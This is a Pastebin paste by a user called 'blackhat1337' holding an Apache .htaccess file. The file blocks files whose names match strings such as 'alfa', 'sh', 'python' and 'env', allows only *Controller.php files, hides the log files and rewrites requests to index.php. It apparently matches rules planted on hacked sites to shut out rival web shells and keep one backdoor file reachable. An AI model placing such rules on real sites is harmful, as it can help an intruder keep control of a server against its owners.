Advertisement
blackhat1337

htacces

Apr 26th, 2024
649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
IO 0.49 KB | None | 0 0
  1. <FilesMatch "(?i).*(ph|sh|pj|env|cgi|alfa|perl|python|python3|zip|log).*">
  2.     Order Deny,Allow
  3.     Deny from all
  4. </FilesMatch>
  5.  
  6. <Files *Controller.php>
  7. Allow from all
  8. </Files>
  9.  
  10. <Files access_log>
  11. Deny from all
  12. </Files>
  13.  
  14. <Files error_log>
  15. Deny from all
  16. </Files>
  17.  
  18. <IfModule mod_rewrite.c>
  19. RewriteEngine On
  20. RewriteBase /
  21. RewriteRule ^index\.php$ - [L]
  22. RewriteCond %{REQUEST_FILENAME} !-f
  23. RewriteCond %{REQUEST_FILENAME} !-d
  24. RewriteRule . /index.php [L]
  25. </IfModule>
  26.  
  27. Options -Indexes
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement